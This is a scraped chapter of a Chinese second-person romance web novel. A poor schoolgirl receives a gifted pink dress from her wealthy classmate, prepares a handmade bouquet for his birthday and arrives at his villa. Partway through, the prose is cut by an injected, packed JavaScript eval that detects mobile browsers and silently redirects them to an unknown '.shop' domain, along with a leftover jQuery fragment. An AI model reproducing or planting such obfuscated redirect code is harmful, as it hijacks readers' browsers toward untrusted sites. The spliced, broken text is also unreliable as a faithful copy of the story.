文趣网 > 其他小说 > 被阴湿偏执缠上了怎么办 > 11. 贫苦小白花vs资助人二代(11)
    前一晚心里藏着事,你睡得不太踏实,偶有踢被露腿,即使春日升温,夜间仍凉意渗骨,醒来时鼻尖发痒,不可避免地打了个喷嚏。

    你慢吞吞地下床,走到窗边,拉开窗帘,光线猛地涌进来。入眼尽头的山腰处升起了橘红的太阳,照得大地艳得宛若初绽的玫瑰,有一种静谧而磅礴的美,芬芳漂亮得让人移不开眼,心中的烦闷随之而逝。直到晨风吹得你打了个寒颤,你才忙不迭关上窗。

    现在时间尚早,外婆还没从外面收摊回来,你洗漱完后便开始做老师布置的周末作业。托边清尧的福,月考的数学成绩提了二十来分,那些晦涩的公式和题目,在他的讲解下有了清晰的脉络。尽管涨分缓慢,有些题目对你来说依旧棘手,但至少比找不到方向好多了。

    你一路行云流水,不到三个小时便做完了一张数学试卷和三道英语阅读题。放下笔,你托着下巴发了一会儿呆,后情不自禁地拿出放在抽屉最里边的钢笔礼盒,不知道边清尧会不会收下。这个念头像只不安分的乌鸦,在心房里扑棱着翅膀。

    转而看了看闹钟,竟快十一点了,外婆差不多该回来了,你赶紧迈出房间,去厨房淘米煮饭,冰箱里还有昨晚没煮完的油豆腐、豆芽和青菜,你全部拿出来放进水槽一把洗净,装好盆等外婆到家了可以省些力气直接炒。

    做好准备工作后,你坐到沙发上打开电视,是上次在边清尧家里没能看完的动漫,主角正站在樱花树下交谈,画面唯美。

    看了十来分钟,原本还沉浸其中,可因为电视年代久远,信号时断时续,屏幕上出现一道道雪花,声音也变得刺耳。你叹了口气,拿起遥控器胡乱按了几下,终究是没了再看下去的兴致,索性关了电视。忽然低下头,不如想想边清尧的生日会,你该穿什么去呢?怕自己的衣服上不了台面,像误入天鹅群的丑小鸭,给他丢脸。

    这时大门传出钥匙转动的声响,“薇薇啊,这是你买的快递吗,怎么放在门口不拿进去呀?”外婆还没进来就在外头吆喝道。

    你循声望去,下意识反驳道:“没有啊,我都没买东西呢,也没听到有敲门声,是不是邻居的,快递员放错了?”

    “不是啊,就写的你名字呢?我虽然年纪大了,但还不至于老眼昏花,你快过来看看,我先去做饭了。”外婆说着,把盒子放在玄关的柜子上,拎着菜进了厨房,围裙带子在身后晃了晃。

    闻言你纳闷地从沙发上站起来,走到玄关处,弯腰低头一看,是个包装精致完整的粉色盒子,上面系着白色的丝带,打成了个漂亮的蝴蝶结。右上角印着金边的Beloved,应该是品牌名,旁边的快递单上确实是你的名字。

    可你印象中并不认识,也没有在任何地方买过这个牌子的东西。你翻遍了盒子的边边角角,连寄件人的信息都没有,到底是谁送过来的,还不告诉你一声?

    难道是边清尧送的?除了他,你想不出还有谁会这么做。

    你抱着盒子走进房间,把它放在书桌上。阳光落在盒子上,粉色的包装泛着柔和的光。你这是拆还是不拆?犹豫了半天,手指在丝带的结上碰了碰,又缩了回来。万一不是他送的,拆了多不好?可万一真是他,你要是不拆,会不会让他觉得你不识抬举?

    心里像有两个小人在打架,一个说“拆吧,看看是什么”,另一个说“别拆,等弄清楚了再说”。最后,好奇心还是占了上风。你深吸一口气,小心翼翼地解开丝带,丝带滑落在桌上,发出轻微的声响。接着,你掀开了盖子。

    里面铺着一层白色的丝绒,丝绒上躺着一条裙子。是粉色的,不是那种俗气的粉,像初春的桃花瓣碾碎而成,带着点淡淡的晕染。裙子的领口是圆弧形的,缀着几颗小小的珍珠,裙摆是蕾丝的,像层层叠叠的花瓣。你伸出手,指尖轻轻碰了碰布料,柔软得像云朵,丝滑如流水。

    你把裙子从盒子里拿出来,展开在身前。长度到小腿肚上面一点,很合身的样子。裙子的标签上写着尺码,还有那个“Beloved”的标志。这么漂亮的裙子,一定很贵吧?如果是边清尧的话,他为什么要送你裙子?是想让你穿这条裙子去参加他的生日会吗?

    还没想好怎么处置,便听到外婆喊你吃饭了。你赶紧应了一声,将裙子小心翼翼地放回盒中,走到客厅,外婆已经把菜炒好了,将把盛好的饭推到你面前,说:“快吃吧,今天的猪肉很新鲜,你正长身体,多吃点。”

    “外婆,你也快吃。”你拿起筷子,夹了块瘦肉给外婆。

    吃饭的时候,外婆忽然说:“刚才那个快递,到底是什么情况啊,不会是哪个同学寄过来的吧?”

    你脸一红,赶紧低下头,扒拉着碗里的饭,含糊地说:“不知道呢,我还没弄清楚。”

    外婆看了你一眼,没再追问,嘱咐你道:“如果是的话可要好好谢谢人家啊。”

    你不知作何回应,只能胡乱地点头。

    吃完饭,你收拾好碗筷,回到房间,正对着没有来头的裙子发愣,就在这时,手机忽然响了,是一条短信。你拿起手机,屏幕上显示的号码是边清尧的,心跳一下子快了起来。

    消息内容很短:[裙子收到了吗?]

    你盯着短信,愣了半天,然后忍不住笑了出来,原来真的是他送的,手指在屏幕上敲了敲,回复他:[收到了,谢谢。但是这太贵重了,我不能收。]

    信息刚发出去,回复秒至,边清尧向你解释了来龙去脉:[没关系,我堂姐买小了尺寸不合适,但也不好浪费,想着你穿应该合适所以就转寄给你了,抱歉,没有提前告诉你。]理由听起来天衣无缝,甚至带着点不容你推拒的体贴。

    紧接着,又一条消息跳出来:[今天我是寿星,可以答应我这个请求吗?]边清尧使出杀手锏,很快就打消了你的顾虑。

    边清尧接着还发了个小猫委屈的表情包,面对这样的他,你真的拿他没办法,何况今天他最大,秉持着不能让他不开心的想法,只好顺着他应下:[好。]

    [今晚我会让李叔接你过来,作为班长,我有义务保护你们每一位的安全,你不可以拒绝我。]见你很好说话的样子,他继续纠缠不放。

    [好。]边清尧考虑得很周全,你也没理由推辞,答应道。

    放下手机,你走到窗边,阳光依旧明媚,远山的橘红已经淡了些,变成了温暖的金黄色。最

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913213|213213||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    近巷子里的卫生干净了许多,风里卷着春天的味道,飘着花香,还有草香,和虫鸣。你将边清尧送来的裙子挂在阳台上通风,然后拥抱着香气,安静地睡了个午觉。

    醒来落日熔金,霞光漫天,距李叔过来的时间还有两个小时,你忽然想起昨日路过那片河岸草坡时,看到的几株野生海棠。一个念头悄然滋生。

    你出了门,去往离家大概一公里的河岸边,步行约一刻钟便到。那里灌木丛生,初春的野海棠开得正盛,枝条遒劲,粉白的花瓣在微风里轻轻颤动,像一团团柔软的云霞栖息在枝头。你仔细挑选了六枝清丽完好的海棠,茎秆上的露水沾湿了指尖。

    回到家,你找出几张干净的蓝色包装纸,是上次书店老板包书剩下的。你将海棠花枝错落有致地摆放,用纸轻轻包裹,系上一根麻绳。没有精致的彩带,你从旧毛线团里找出少许白色的细线,在根部系了个简单的蝴蝶结。一束朴素却生机勃勃的海棠花束便做好了。

    你又找出一张素净的卡片,在上面工工整整写下:“班长,生日快乐。愿日日开心,年年有时。”没有过多华丽的辞藻,简单而真挚,你将卡片小心地别在花束中间。

    弄好花束后,已是天光余晖将散之时,你在阳台取了晒过的裙子,走到卫生间,将一身卡通的睡衣换下来。穿上那条粉色连衣裙时,你在镜子前怔住了。

    裙子出奇得合身,剪裁勾勒出纤细的腰线,领口的珍珠衬得肌肤愈发白皙,这像是为你量身定制的裙子,让你原本有些单薄的身形多了几分亭亭玉立之感,面容仿佛被这柔和的桃粉点亮,乌黑的柔发别在耳后,眉眼间竟也有了些许平日没有的光彩。

    五点整,窗外传来两声轻柔的汽车喇叭声。你走到窗边,看到那辆熟悉的黑色轿车静静停在巷口。你最后望了一眼镜中的自己,拿起桌上那束蓝色的海棠花束,还有早已备好的钢笔礼盒,深吸一口气,和外婆说了去向后,关上家门。

    夜色初降,路灯尚未完全亮起,薄暮像一层轻纱,笼罩着寂静的巷子。你朝着那光亮起始之处,一步步走去。

    “林小姐。”李叔朝你友好地笑了笑,他送过你几回,虽然次数不多,但你能从中体会到李叔是个很和善的人。

    “不好意思李叔,又麻烦您了。”你眼含歉意,拎了一袋草莓给他,“这是我外婆刚买回来的草莓,新鲜的,很甜,希望能和您分享。”

    李叔接过,“你太客气了,这是我的分内之事,不需要你做什么。”

    你上了车,和李叔简单聊了一些家常后,他便安静地驱车前往目的地。

    到了别墅门口,你按响了门铃,在等待的片刻,时间恍若被拉成细密的蛛丝,缠绕着心跳,你有些不自在地扯了扯裙摆,又将鬓角被晚风吹乱的头发抚平,心里既忐忑,又有一丝难以自制的期待。

    不到五分钟,有脚步声袭来,添了几分急促。下一秒停顿住,大门缓缓打开。

    原本低垂眼睫的你,闻声抬首,随即没入一道不知深浅的丛野中。平素温润和顺如同春日晨露的眼神,此刻却似乎淬着冷冽的锋芒,化作蜿蜒盘旋的荆棘,竟带着不容挣脱的牵引力,令你不自禁地起了冷颤。